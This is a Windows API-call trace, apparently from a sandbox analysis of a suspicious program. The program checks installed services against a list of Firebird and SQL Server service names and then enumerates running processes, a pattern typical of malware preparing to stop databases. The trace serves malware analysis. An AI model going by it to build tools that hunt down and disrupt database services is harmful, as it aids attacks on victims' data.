	[0158.742] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0158.742] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0158.742] lstrlenW (lpString="KeyIso") returned 6
	[0158.742] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0158.742] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0158.742] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0158.742] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0158.742] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0158.742] lstrlenW (lpString="LanmanServer") returned 12
	[0158.742] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0158.742] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0158.742] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0158.742] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0158.742] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0158.742] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0158.742] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0158.742] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0158.743] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0158.743] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0158.743] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0158.743] lstrlenW (lpString="lfsvc") returned 5
	[0158.743] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0158.743] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0158.743] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0158.743] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0158.743] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0158.743] lstrlenW (lpString="lmhosts") returned 7
	[0158.743] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0158.743] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0158.743] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0158.743] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0158.743] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0158.743] lstrlenW (lpString="LSM") returned 3
	[0158.743] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0158.743] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0158.743] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0158.743] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0158.743] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0158.743] lstrlenW (lpString="MpsSvc") returned 6
	[0158.743] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0158.743] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0158.743] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0158.743] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0158.743] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0158.743] lstrlenW (lpString="NcbService") returned 10
	[0158.743] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0158.743] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0158.743] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0158.743] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0158.743] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0158.743] lstrlenW (lpString="netprofm") returned 8
	[0158.743] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0158.743] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0158.744] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0158.744] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0158.744] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0158.744] lstrlenW (lpString="NgcSvc") returned 6
	[0158.744] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1
	[0158.744] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1
	[0158.744] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1
	[0158.744] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1
	[0158.744] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1
	[0158.744] lstrlenW (lpString="NlaSvc") returned 6
	[0158.744] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0158.744] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0158.744] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0158.744] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0158.744] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0158.744] lstrlenW (lpString="nsi") returned 3
	[0158.744] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0158.744] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0158.744] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0158.744] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0158.744] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0158.744] lstrlenW (lpString="PcaSvc") returned 6
	[0158.744] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0158.744] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0158.744] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0158.744] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0158.744] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0158.744] lstrlenW (lpString="PlugPlay") returned 8
	[0158.744] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0158.744] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0158.744] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0158.744] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0158.744] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0158.744] lstrlenW (lpString="Power") returned 5
	[0158.744] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1
	[0158.744] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0158.744] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0158.745] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0158.745] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0158.745] lstrlenW (lpString="ProfSvc") returned 7
	[0158.745] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0158.745] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0158.745] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0158.745] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0158.745] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0158.745] lstrlenW (lpString="RpcEptMapper") returned 12
	[0158.745] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0158.745] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0158.745] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0158.745] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0158.745] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0158.745] lstrlenW (lpString="RpcSs") returned 5
	[0158.745] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0158.745] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0158.745] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0158.745] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0158.745] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0158.745] lstrlenW (lpString="SamSs") returned 5
	[0158.745] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0158.745] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0158.745] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0158.745] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0158.745] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0158.745] lstrlenW (lpString="Schedule") returned 8
	[0158.745] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0158.745] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0158.745] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0158.745] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0158.745] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0158.745] lstrlenW (lpString="SecurityHealthService") returned 21
	[0158.745] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0158.745] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0158.745] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0158.746] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0158.746] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0158.746] lstrlenW (lpString="SENS") returned 4
	[0158.746] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0158.746] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0158.746] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0158.746] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0158.746] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0158.746] lstrlenW (lpString="ShellHWDetection") returned 16
	[0158.746] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0158.746] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0158.746] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0158.746] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0158.746] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0158.746] lstrlenW (lpString="Spooler") returned 7
	[0158.746] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0158.746] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0158.746] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0158.746] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0158.746] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0158.746] lstrlenW (lpString="StateRepository") returned 15
	[0158.746] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0158.746] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0158.746] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0158.746] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0158.746] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0158.746] lstrlenW (lpString="SysMain") returned 7
	[0158.746] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0158.746] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0158.746] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0158.746] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0158.746] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1
	[0158.746] lstrlenW (lpString="SystemEventsBroker") returned 18
	[0158.746] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0158.746] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1
	[0158.746] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1
	[0158.747] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1
	[0158.747] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1
	[0158.747] lstrlenW (lpString="Themes") returned 6
	[0158.747] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1
	[0158.747] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1
	[0158.747] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1
	[0158.747] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1
	[0158.747] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1
	[0158.747] lstrlenW (lpString="tiledatamodelsvc") returned 16
	[0158.747] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0158.747] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1
	[0158.747] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1
	[0158.747] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1
	[0158.747] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4260328 | out: hHeap=0x5a0000) returned 1
	[0158.747] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x4b0
	[0158.751] Process32FirstW (in: hSnapshot=0x4b0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0158.751] Process32NextW (in: hSnapshot=0x4b0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0158.751] lstrlenW (lpString="System") returned 6
	[0158.751] Process32NextW (in: hSnapshot=0x4b0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0158.752] lstrlenW (lpString="smss.exe") returned 8
	[0158.752] Process32NextW (in: hSnapshot=0x4b0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0158.752] lstrlenW (lpString="csrss.exe") returned 9
	[0158.752] Process32NextW (in: hSnapshot=0x4b0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0158.753] lstrlenW (lpString="wininit.exe") returned 11
	[0158.753] Process32NextW (in: hSnapshot=0x4b0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0158.753] lstrlenW (lpString="csrss.exe") returned 9
	[0158.753] Process32NextW (in: hSnapshot=0x4b0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0158.753] lstrlenW (lpString="winlogon.exe") returned 12
	[0158.754] Process32NextW (in: hSnapshot=0x4b0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0158.754] lstrlenW (lpString="services.exe") returned 12
	[0158.754] Process32NextW (in: hSnapshot=0x4b0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0158.754] lstrlenW (lpString="lsass.exe") returned 9
	[0158.754] Process32NextW (in: hSnapshot=0x4b0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x29c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0159.015] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0159.015] Process32NextW (in: hSnapshot=0x4b0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0159.015] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0159.015] Process32NextW (in: hSnapshot=0x4b0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0159.016] lstrlenW (lpString="svchost.exe") returned 11
	[0159.016] Process32NextW (in: hSnapshot=0x4b0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0159.016] lstrlenW (lpString="svchost.exe") returned 11
	[0159.016] Process32NextW (in: hSnapshot=0x4b0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0159.017] lstrlenW (lpString="dwm.exe") returned 7
	[0159.017] Process32NextW (in: hSnapshot=0x4b0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3c, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0159.017] lstrlenW (lpString="svchost.exe") returned 11
	[0159.017] Process32NextW (in: hSnapshot=0x4b0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0159.017] lstrlenW (lpString="svchost.exe") returned 11
	[0159.018] Process32NextW (in: hSnapshot=0x4b0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0159.018] lstrlenW (lpString="svchost.exe") returned 11
	[0159.018] Process32NextW (in: hSnapshot=0x4b0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0159.018] lstrlenW (lpString="svchost.exe") returned 11
	[0159.018] Process32NextW (in: hSnapshot=0x4b0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x26c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0159.019] lstrlenW (lpString="svchost.exe") returned 11
	[0159.019] Process32NextW (in: hSnapshot=0x4b0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0159.019] lstrlenW (lpString="svchost.exe") returned 11
	[0159.019] Process32NextW (in: hSnapshot=0x4b0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0159.020] lstrlenW (lpString="svchost.exe") returned 11
	[0159.020] Process32NextW (in: hSnapshot=0x4b0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x504, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0159.020] lstrlenW (lpString="svchost.exe") returned 11
	[0159.020] Process32NextW (in: hSnapshot=0x4b0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0159.021] lstrlenW (lpString="svchost.exe") returned 11
	[0159.021] Process32NextW (in: hSnapshot=0x4b0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0159.021] lstrlenW (lpString="svchost.exe") returned 11
	[0159.021] Process32NextW (in: hSnapshot=0x4b0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0159.021] lstrlenW (lpString="spoolsv.exe") returned 11
	[0159.021] Process32NextW (in: hSnapshot=0x4b0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x69c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0159.022] lstrlenW (lpString="svchost.exe") returned 11
	[0159.022] Process32NextW (in: hSnapshot=0x4b0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x4b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0159.022] lstrlenW (lpString="audiodg.exe") returned 11
	[0159.022] Process32NextW (in: hSnapshot=0x4b0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x748, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0159.023] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0159.023] Process32NextW (in: hSnapshot=0x4b0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0159.023] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0159.023] Process32NextW (in: hSnapshot=0x4b0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0159.024] lstrlenW (lpString="Memory Compression") returned 18
	[0159.024] Process32NextW (in: hSnapshot=0x4b0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x3b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0159.024] lstrlenW (lpString="sihost.exe") returned 10
	[0159.024] Process32NextW (in: hSnapshot=0x4b0, lppe=0x250fd2c | out: lppe=0x250fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0159.024] lstrlenW (lpString="svchost.exe") returned 11
